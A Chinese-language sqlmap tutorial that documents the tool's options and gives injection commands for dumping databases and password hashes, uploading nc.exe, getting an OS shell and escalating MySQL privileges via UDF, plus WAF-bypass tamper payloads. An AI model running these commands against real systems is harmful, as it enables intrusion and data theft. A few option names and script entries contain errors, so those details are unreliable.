sqlmap介绍

sqlmap是一个开源的、国内外著名的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型的数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件,甚至可以通过外带数据连接的方式执行操作系统命令。

sqlmap支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

sqlmap支持一下5种不同的注入模式。

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注,即不能根据页面返回的内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  3. 基于报错注入,即页面返回错误信息,或者把注入语句结果直接返回在主页中。
  4. 联合查询注入,可以使用union的情况下的注入。
  5. 堆叠查询注入,即执行多条SQL语句构造的注入。

官方网站:https://sqlmap.org/

下载地址:https://github.com/sqlmapproject/sqlmap

sqlmap使用参数详解

本文以sqlmap 1.1.8-8版本为例,对其所有参数进行详细的分析和讲解,便于在使用时进行查询。

用法: sqlmap.py [选项]

选项

  • -h,—help: 显示基本帮助信息并退出

  • -hh: 显示高级帮助信息并退出

  • —version: 显示程序版本信息并退出

  • -v VERBOSE信息级别: 0-6 (缺省1),其值具体含义如下:

    • 0 只显示python错误以及严重的信息;
    • 1 同时显示基本信息和警告信息(默认);
    • 2 同时显示debug信息;
    • 3 同时显示注入的payload;
    • 4 同时显示HTTP请求;
    • 5 同时显示HTTP响应头;
    • 6 同时显示HTTP响应页面;

    如果想看到sqlmap发送的测试payload最好的等级就是3。

目标

在这些选项中必须提供至少有一个确定目标

  • -d DIRECT: 直接连接数据库的连接字符串
  • -u URL,—url=URL: 目标URL (如”http://www.site.com/vuln.php?id=1"),使用-u或者--url
  • -l LOGFILE: 从Burp或者WebScarab代理日志文件中分析目标
  • -x SITEMAPURL: 从远程网站地图(sitemap.xml)文件来解析目标
  • -m BULKFILE: 将目标地址保存在文件中,一行为一个URL地址进行批量检测
  • -r REQUESTFILE: 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如Cookie,POST数据,等等),请求是HTTPS的时需要配合这个—force-ssl参数来使用,或者可以在Host头后面加上:443
  • -g GOOGLEDORK: 从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)
  • -c CONFIGFILE: 从配置ini文件中加载选项

请求

以下选项可以用来指定如何连接到目标URL。

  • —method=METHOD: 强制使用给定的HTTP方法(例如put)

  • —data=DATA: 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。

    —data=”id=1” -f —banner —dbs —users

  • —param-del=PARA.. 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

  • —cookie=COOKIE: HTTP Cookie header 值

  • —cookie-del=COO: 用来分隔cookie的字符串值

  • —load-cookies=L: Filecontaining cookies in Netscape/wget format

  • —drop-set-cookie: IgnoreSet-Cookie header from response

  • —user-agent=AGENT: 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用—user-agent参数来修改,同时也可以使用—random-agent参数来随机的从./txt/user-agents.txt中获取。当—level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入

  • —random-agent: 使用random-agent作为HTTP User-Agent头值

  • —host=HOST: HTTP Hostheader value

  • —referer=REFERER: sqlmap可以在请求中伪造HTTP中的referer,当—level参数设定为3或者3以上的时候会尝试对referer注入

  • -H HEADER, —hea: 额外的http头(如”X-Forwarded-For: 127.0.0.1”)

  • —headers=HEADERS: 可以通过—headers参数来增加额外的http头(如”Accept-Language: fr\nETag: 123”)

  • —auth-type=AUTH: HTTP的认证类型 (Basic, Digest, NTLM or PKI)

  • —auth-cred=AUTH: HTTP 认证凭证(name:password)

  • —auth-file=AUTH: HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

  • —ignore-401: Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)

  • —ignore-proxy: 忽略系统的默认代理设置

  • —ignore-redirects: 忽略重定向的尝试

  • —ignore-timeouts: 忽略连接超时

  • —proxy=PROXY: 使用代理服务器连接到目标URL

  • —proxy-cred=PRO: 代理认证凭证(name:password)

  • —proxy-file=PRO:从文件加载代理列表

  • —tor: 使用Tor匿名网络

  • —tor-port=TORPORT: 设置Tor代理端口

  • —tor-type=TORTYPE: 设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))

  • —check-tor: 检查Tor的是否正确使用

  • —delay=DELAY: 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

  • —timeout=TIMEOUT: 可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。

  • —retries=RETRIES: 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

  • —randomize=RPARAM: 可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样

  • —safe-url=SAFEURL: 提供一个安全不错误的连接,每隔一段时间都会去访问一下

  • —safe-post=SAFE: 提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。

  • —safe-req=SAFER: 从文件中加载安全HTTP请求

  • —safe-freq=SAFE: 测试一个给定安全网址的两个访问请求

  • —skip-urlencode: 跳过URL的有效载荷数据编码

  • —csrf-token=CSR: 用来保存反CSRF令牌

  • —csrf-url=CSRFURL: URL地址访问提取anti-CSRF令牌

  • —force-ssl: 强制使用SSL/HTTPS

  • —hpp: 使用HTTP参数污染的方法

  • —eval=EVALCODE: 在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用—eval参数在每次请求时根据所写python代码做完修改后请求。(e.g “import hashlib;id2=hashlib.md5(id).hexdigest()”)

使用示例:

1
sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

优化

这些选项可用于优化sqlmap性能。

  • -o: 打开所有的优化开关
  • —predict-output: 预测普通查询输出
  • —keep-alive: 使用持久HTTP(S)连接
  • —null-connection: 获取页面长度
  • —threads=THREADS: 当前http(s)最大请求数 (默认 1)

注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

  • -p TESTPARAMETER: 可测试的参数
  • —skip=SKIP: 跳过对给定参数的测试
  • —skip-static: 跳过测试不显示为动态的参数
  • —param-exclude=: 使用正则表达式排除参数进行测试(如”ses”)
  • —dbms=DBMS: 强制后端的DBMS为此值
  • —dbms-cred=DBMS: DBMS认证凭证(user:password)
  • —os=OS: 强制后端的DBMS操作系统为这个值
  • —invalid-bignum: 使用大数字使值无效
  • —invalid-logical: 使用逻辑操作使值无效
  • —invalid-string: 使用随机字符串使值无效
  • —no-cast: 关闭有效载荷铸造机制
  • —no-escape: 关闭字符串逃逸机制
  • —prefix=PREFIX: 注入payload字符串前缀
  • —suffix=SUFFIX: 注入payload字符串后缀
  • —tamper=TAMPER: 使用给定的脚本篡改注入数据

检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

  • —level=LEVEL: 执行测试的等级(1-5,默认为1)
  • —risk=RISK: 执行测试的风险(0-3,默认为1)
  • —string=STRING: 查询时有效时在页面匹配字符串
  • —not-string=NOT: 当查询求值为无效时匹配的字符串
  • —regexp=REGEXP: 查询时有效时在页面匹配正则表达式
  • —code=CODE: 当查询求值为True时匹配的HTTP代码
  • —text-only: 仅基于在文本内容比较网页
  • —titles: 仅根据他们的标题进行比较

技巧

这些选项可用于调整具体的SQL注入测试。

  • —technique=TECH: SQL注入技术测试(默认BEUST)
    • B: Boolean-based blind(布尔型盲注)
    • E: Error-based (报错型注入)
    • U: Union query-based(联合查询注入)
    • S: Stacked queries(多语句查询注入)
    • T:Time-based blind(时间型盲注)
    • Q: Inline queries(嵌套查询注入)
  • —time-sec=TIMESEC: DBMS响应的延迟时间(默认为5秒)
  • —union-cols=UCOLS: 定列范围用于测试UNION查询注入
  • —union-char=UCHAR: 暴力猜测列的字符数
  • —union-from=UFROM: SQL注入UNION查询使用的格式
  • —dns-domain=DNS: DNS泄露攻击使用的域名
  • —second-order=S: URL搜索产生的结果页面

指纹

  • -f,—fingerprint: 执行广泛的DBMS版本指纹检查

枚举

以下选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。

  • -a,—all: 获取所有信息
  • -b,—banner: 获取数据库管理系统的标识
  • —current-user: 获取数据库管理系统当前用户
  • —current-db: 获取数据库管理系统当前数据库
  • —hostname: 获取数据库服务器的主机名称
  • —is-dba: 检测DBMS当前用户是否DBA
  • —users: 枚举数据库管理系统用户
  • —passwords: 枚举数据库管理系统用户密码哈希
  • —privileges: 枚举数据库管理系统用户的权限
  • —roles: 枚举数据库管理系统用户的角色
  • —dbs: 枚举数据库管理系统数据库
  • —tables: 枚举的DBMS数据库中的表
  • —columns: 枚举DBMS数据库表列
  • —schema: 枚举数据库架构
  • —count: 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url —count -D testdb
  • —dump: 转储数据库表项
  • —dump-all: 转储数据库所有表项
  • —search: 搜索列(S),表(S)和/或数据库名称(S)
  • —comments: 获取DBMS注释
  • -D DB: 要进行枚举的指定数据库名
  • -T TBL: DBMS数据库表枚举
  • -C COL: DBMS数据库表列枚举
  • -X EXCLUDECOL: DBMS数据库表不进行枚举
  • -U USER: 用来进行枚举的数据库用户
  • —exclude-sysdbs: 枚举表时排除系统数据库
  • —pivot-column=P: Pivot columnname
  • —where=DUMPWHERE: Use WHEREcondition while table dumping
  • —start=LIMITSTART: 获取第一个查询输出数据位置
  • —stop=LIMITSTOP: 获取最后查询的输出数据
  • —first=FIRSTCHAR: 第一个查询输出字的字符获取
  • —last=LASTCHAR: 最后查询的输出字字符获取
  • —sql-query=QUERY: 要执行的SQL语句
  • —sql-shell: 提示交互式SQL的shell
  • —sql-file=SQLFILE: 要执行的SQL文件

暴力

以下选项可以被用来运行暴力检查。

  • —common-tables 检查存在共同表
  • —common-columns 检查存在共同列

用户自定义函数注入

以下选项可以用来创建用户自定义函数。

  • —udf-inject: 注入用户自定义函数
  • —shared-lib=SHLIB: 共享库的本地路径

访问文件系统

以下选项可以被用来访问后端数据库管理系统的底层文件系统。

  • —file-read=RFILE: 从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:

    1
    sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1
  • —file-write=WFILE: 编辑后端的数据库管理系统文件系统上的本地文件

  • —file-dest=DFILE: 后端的数据库管理系统写入文件的绝对路径

    在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:

    1
    sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" -v1

操作系统访问

以下选项可以用于访问后端数据库管理系统的底层操作系统。

  • —os-cmd=OSCMD: 执行操作系统命令(OSCMD)
  • —os-shell: 交互式的操作系统的shell
  • —os-pwn: 获取一个OOB shell,meterpreter或VNC
  • —os-smbrelay: 一键获取一个OOBshell,meterpreter或VNC
  • —os-bof: 存储过程缓冲区溢出利用
  • —priv-esc: 数据库进程用户权限提升
  • —msf-path=MSFPATH: MetasploitFramework本地的安装路径
  • —tmp-path=TMPPATH: 远程临时文件目录的绝对路径

使用示例:linux查看当前用户命令

1
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v1

Windows注册表访问

以下选项可以被用来访问后端数据库管理系统Windows注册表。

  • —reg-read: 读一个Windows注册表项值
  • —reg-add: 写一个Windows注册表项值数据
  • —reg-del: 删除Windows注册表键值
  • —reg-key=REGKEY: Windows注册表键
  • —reg-value=REGVAL: Windows注册表项值
  • —reg-data=REGDATA: Windows注册表键值数据
  • —reg-type=REGTYPE: Windows注册表项值类型

一般选项

以下选项可以用来设置一些一般的工作参数。

  • -s SESSIONFILE: 保存和恢复检索会话文件的所有数据

  • -t TRAFFICFILE: 记录所有HTTP流量到一个文本文件中

  • —batch: 从不询问用户输入,使用所有默认配置。

  • —binary-fields=: 结果字段具有二进制值(如”digest”)

  • —charset=CHARSET: 强制字符编码

  • —crawl=CRAWLDEPTH: 从目标URL爬行网站

  • —crawl-exclude=: 正则表达式从爬行页中排除

  • —csv-del=CSVDEL: 限定使用CSV输出 (default”,”)

  • —dump-format=DU: 转储数据格式(CSV(default), HTML or SQLITE)

  • —eta: 显示每个输出的预计到达时间

  • —flush-session: 刷新当前目标的会话文件

  • —forms: 解析和测试目标URL表单

  • —fresh-queries: 忽略在会话文件中存储的查询结果

  • —hex: 使用DBMS Hex函数数据检索

  • —output-dir=OUT: 自定义输出目录路径

  • —parse-errors: 解析和显示响应数据库错误信息
  • —save=SAVECONFIG: 保存选项到INI配置文件

  • —scope=SCOPE: 从提供的代理日志中使用正则表达式过滤目标

  • —test-filter=TE: 选择测试的有效载荷和/或标题(如 ROW)

  • —test-skip=TEST: 跳过试验载荷和/或标题(如 BENCHMARK)
  • —update: 更新sqlmap

其他

  • -z: MNEMONICS使用短记忆法 (如”flu,bat,ban,tec=EU”)
  • —alert=ALERT: 发现SQL注入时,运行主机操作系统命令

  • —answers=ANSWERS: 当希望sqlmap提出输入时,自动输入自己想要的答案(如 “quit=N,follow=N”),例如:sqlmap.py -u”http://192.168.22.128/get_int.php?id=1"--technique=E--answers="extending=N“ —batch

  • —beep: 发现sql注入时,发出蜂鸣声。
  • —cleanup: 清除sqlmap注入时在DBMS中产生的udf与表。
  • —dependencies: 在某些特殊情况下,sqlmap需要独立安装额外的第三方库(例如,选项-d直接连接数据库,开关—os-pwn使用icmpsh隧道,选项 —auth-type 对于NTLM类型的HTTP认证等),只在这种特殊情况下会警告用户。不过,如果想独立检查所有额外的第三方库依赖关系,可以使用开关 —dependcies。
  • —disable-coloring: 默认彩色输出,禁掉彩色输出。
  • —gpage=GOOGLEPAGE: 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试

  • —identify-waf: 进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别

  • —mobile: 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

  • —offlineWork: 在离线模式下工作

  • —purge-output: 从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

  • —skip-waf: 跳过WAF/IPS/IDS启发式检测保护

  • —smart: 进行积极的启发式测试,快速判断为注入的报错点进行注入

  • —sqlmap-shell: 互动提示一个sqlmapshell

  • —tmp-dir=TMPDIR: 用于存储临时文件的本地目录

  • —web-root=WEBROOT: Web服务器的文档根目录(如”/var/www”)

  • —wizard: 新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入

sqlmap使用实例

GET注入自动检测

检测语法:sqlmap -u "http://hackrock.com:811/Less-1/index.php?id=1" --dbs

技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数--batch命令来自动答复和判断。

POST注入自动检测

方式一:日志文件加载

  • -l LOGFILE: 从Burp或者WebScarab代理日志文件中分析目标

将BurpSuit抓包到的request请求内容复制到一个文本文件然后改名为.log后缀名的文件如下所示,然后进行注入。

image-20211102220949167

sqlmap注入获取数据库信息

1
sqlmap -l test.log --dbs

image-20211102221208611

方式二:文本文件加载

  • -r REQUESTFILE: 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如Cookie,POST数据,等等),请求是HTTPS的时需要配合这个—force-ssl参数来使用,或者可以在Host头后面加上:443

  • -p TESTPARAMETER: 可测试的参数

将BurpSuit抓包到的request请求内容复制到一个文本文件,然后进行注入。

1
sqlmap -r test.txt -p id --dbs

方法三:自动搜索表单

  • —forms: 解析和测试目标URL表单
1
sqlmap -u "http://hackrock.com:815/vul/sqli/sqli_id.php" --forms --dbs

方法四:指定数据参数

  • —data=DATA: 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。
1
sqlmap -u "http://hackrock.com:815/vul/sqli/sqli_id.php" --data="id=1" --dbs

HTTP头部注入自动检测

使用参数-u后接网站的url用于明确使用sqlmap进行sql注入的网址。使用参数—cookie,指定cookie内容是”uname=abc”。

参数—level共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

Cookie头部注入

1
sqlmap -u "http://hackrock.com:811/Less-20/index.php" --cookie "uname=abc" --dbs --level 2

image-20211103130542625

其他头部注入

将BurpSuit抓包到的request请求内容复制到一个文本文件。在可能存在注入的http头部加上(*)星号。

image-20211103165518726

1
sqlmap -r less18.txt --dbs

批量自动化检测

可以使用谷歌语法将可能存在注入URL写入到文本文件中,使用sqlmap进行批量检测。

1
sqlmap -m test.txt --batch --random-agent

使用Google语法进行URL采集工具可以参考我写的一个脚本:https://github.com/UlyssesTakusen/CaiJiEngine

数据库的相关操作

  • 列数据库信息: —dbs

  • web当前使用的数据库: —current-db

  • web数据库使用账户: —current-user

  • 列出sqlserver所有用户: —users

  • 数据库账户与密码: —passwords

  • 指定库名列出所有表: -D database —tables

    -D:指定数据库名称

  • 指定库名表名列出所有字段: -D db_test -T tb_test --columns

    -T:指定要列出字段的表

  • 指定库名表名字段dump出指定字段:

    -D db_test -T tb_test --columns -C id,password,username --dump

    -D db_test -T tb_test --columns -C "id,password,username" --dump

    可加双引号,也可不加双引号。

  • 导出多少条数据:

    -D db_test -T tb_test --columns -C "id,password,username" --start 1 --stop 10 --dump

    参数:

    • —start: 指定开始的行
    • —stop: 指定结束的行

    此条命令的含义为: 导出数据库db_test中的表tb_test中的字段(id,password,username)中的第1到第10行的数据内容。

直接连接数据库

sqlmap直接连接数据库的命令如下:

1
sqlmap -d "mysql://root:Admin123@192.168.21.17:3306/testdb" -f --banner --dbs --users

注:root为数据库账户;Admin123为数据库密码

其它操作

列举并破解密码哈希值

当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

1
sqlmap -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

获取表中的数据个数

1
sqlmap -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

对网站进行漏洞爬取

1
sqlmap -u "http://www.secbang.com" --batch --crawl=3

使用hex避免字符编码导致数据丢失

1
sqlmap -u "http://192.168.48.130/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

时间型盲注自定义延时

1
sqlmap -u "http://www.target.com/vuln.php?id=1" --technique T --time-sec=3

模拟测试手机环境站点

1
sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile

智能判断测试

1
sqlmap -u "http://www.antian365.com/info.php?id=1"--batch --smart

读取系统文件

1
sqlmap.py -u "http://www.target.com/vuln.php?id=1" --file /etc/password

MySQL提权

  1. 首先需要对动态链接库进行解码

    1
    2
    3
    cd /usr/share/sqlmap/extra/cloak/

    python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o /root/temp/lib_mysqludf_sys.dll
  1. 连接MySQL数据库打开一个交互式Shell:

    1
    2
    3
    4
    5
    sqlmap -d mysql://root:Admin12345@192.168.123.188:3306/dvwa --sql-shell

    select @@version

    select @@plugin_dir

    image-20211103204311361

  1. 利用sqlmap上传lib_mysqludf_sys到MySQL插件目录

    1
    sqlmap -d mysql://root:Admin12345@192.168.123.188:3306/dvwa --file-write=/root/temp/lib_mysqludf_sys.dll --file-dest=C:\\Wamp\\mysql5.5\\lib\\plugin\\lib_mysqludf_sys.dll 
  1. 执行语句创建用户自定义函数

    1
    2
    3
    4
    5
    sqlmap -d mysql://root:Admin12345@192.168.123.188:3306/dvwa --sql-shell

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

    select sys_eval('whoami')

    image-20211103214845485

tamper脚本

介绍

tamper是对sqlmap进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf/ids

可以理解为,sqlmap在对漏洞网站自动化注入的时候,如果我们使用了tamper脚本,sqlmap的每个payload都会经过tamper这个包装车间的加工,然后再进行投递。

使用方法

命令格式:

1
sqlmap -u [url] --tamper [模块名]

根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。

举例:

1
sqlmap -u "http://hackrock.com:811/Less-2/?id=1" --dbms mysql --tamper "space2comment,versionedmorekeywords.py"  -v 3 --dbs

在Kali Linux系统中,sqlmap的tamper脚本在cd /usr/share/sqlmap/tamper

image-20211104103012440

常用tamper脚本说明

apostrophemask.py

  • 适用数据库:ALL
  • 作用:将引号替换为utf-8,用于过滤单引号
  • 使用脚本前:tamper("1 AND '1'='1")
  • 使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

base64encode.py

  • 适用数据库:ALL
  • 作用:替换为base64编码
  • 使用脚本前:tamper("1' AND SLEEP(5)#")
  • 使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

multiplespaces.py

  • 适用数据库:ALL
  • 作用:围绕sql关键字添加多个空格
  • 使用脚本前:tamper('1 UNION SELECT foobar')
  • 使用脚本后:1 UNION SELECT foobar

space2plus.py

  • 适用数据库:ALL
  • 作用:用加号替换空格
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT+id+FROM+users

nonrecursivereplacement.py

  • 适用数据库:ALL
  • 作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
  • 使用脚本前:tamper('1 UNION SELECT 2--')
  • 使用脚本后:1 UNIOUNIONN SELESELECTCT 2--

space2randomblank.py

  • 适用数据库:ALL
  • 作用:将空格替换为其他有效字符
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT%0Did%0DFROM%0Ausers

unionalltounion.py

  • 适用数据库:ALL
  • 作用:将union all select 替换为union select
  • 使用脚本前:tamper('-1 UNION ALL SELECT')
  • 使用脚本后:-1 UNION SELECT

securesphere.py

  • 适用数据库:ALL
  • 作用:追加特定的字符串
  • 使用脚本前:tamper('1 AND 1=1')
  • 使用脚本后:1 AND 1=1 and '0having'='0having'

space2dash.py

  • 适用数据库:ALL
  • 作用:将空格替换为—,并添加一个随机字符串和换行符
  • 使用脚本前:tamper('1 AND 9227=9227')
  • 使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227

space2mssqlblank.py

  • 适用数据库:Microsoft SQL Server
    测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
  • 作用:将空格随机替换为其他空格符号(‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT%0Eid%0DFROM%07users

between.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:用NOT BETWEEN 0 AND #替换>
  • 使用脚本前:tamper('1 AND A > B--')
  • 使用脚本后:1 AND A NOT BETWEEN 0 AND B--

percentage.py

  • 适用数据库:ASP
    测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
  • 作用:在每个字符前添加一个%
  • 使用脚本前:tamper('SELECT FIELD FROM TABLE')
  • 使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

sp_password.py

  • 适用数据库:MSSQL
  • 作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
  • 使用脚本前:tamper('1 AND 9227=9227-- ')
  • 使用脚本后:1 AND 9227=9227-- sp_password

charencode.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
  • 使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
  • 使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

randomcase.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:随机大小写
  • 使用脚本前:tamper('INSERT')
  • 使用脚本后:INseRt

charunicodeencode.py

  • 适用数据库:ASP、ASP.NET
    测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
  • 作用:适用字符串的unicode编码
  • 使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
  • 使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

space2comment.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:将空格替换为/**/
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT/**/id/**/FROM/**/users

equaltolike.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5

  • 作用:将=替换为LIKE
  • 使用脚本前:tamper('SELECT * FROM users WHERE id=1')
  • 使用脚本后:SELECT * FROM users WHERE id LIKE 1

equaltolike.py

测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

  • 作用:将>替换为GREATEST,绕过对>的过滤
  • 使用脚本前:tamper('1 AND A > B')
  • 使用脚本后:1 AND GREATEST(A,B+1)=A

ifnull2ifisnull.py

  • 适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
    测试通过数据库:MySQL 5.0 and 5.5
  • 作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
  • 使用脚本前:tamper('IFNULL(1, 2)')
  • 使用脚本后:IF(ISNULL(1),2,1)

modsecurityversioned.py

  • 适用数据库:MySQL
    测试通过数据库:MySQL 5.0
  • 作用:过滤空格,使用mysql内联注释的方式进行注入
  • 使用脚本前:tamper('1 AND 2>1--')
  • 使用脚本后:1 /*!30874AND 2>1*/--

space2mysqlblank.py

  • 适用数据库:MySQL
    测试通过数据库:MySQL 5.1
  • 作用:将空格替换为其他空格符号(‘%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT%0Bid%0DFROM%0Cusers

modsecurityzeroversioned.py

  • 适用数据库:MySQL
    测试通过数据库:MySQL 5.0
  • 作用:使用内联注释方式(/!00000/)进行注入
  • 使用脚本前:tamper('1 AND 2>1--')
  • 使用脚本后:1 /*!00000AND 2>1*/--

space2mysqldash.py

  • 适用数据库:MySQL、MSSQL
  • 作用:将空格替换为 — ,并追随一个换行符
  • 使用脚本前:tamper('1 AND 9227=9227')
  • 使用脚本后:1--%0AAND--%0A9227=9227

bluecoat.py

  • 适用数据库:Blue Coat SGOS
    测试通过数据库:MySQL 5.1,、SGOS
  • 作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
  • 使用脚本前:tamper('SELECT id FROM users where id = 1')
  • 使用脚本后:SELECT%09id FROM users where id LIKE 1

versionedkeywords.py

  • 适用数据库:MySQL
    测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
  • 作用:注释绕过
  • 使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
  • 使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

halfversionedmorekeywords.py

  • 适用数据库:MySQL < 5.1
    测试通过数据库:MySQL 4.0.18/5.0.22
  • 作用:在每个关键字前添加mysql版本注释
  • 使用脚本前:`tamper(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)
  • 使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/!0CHAR(`58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa

space2morehash.py

  • 适用数据库:MySQL >= 5.1.13
    测试通过数据库:MySQL 5.1.41
  • 作用:将空格替换为#,并添加一个随机字符串和换行符
  • 使用脚本前:tamper('1 AND 9227=9227')
  • 使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

apostrophenullencode.py

  • 适用数据库:ALL
  • 作用:用非法双字节Unicode字符替换单引号
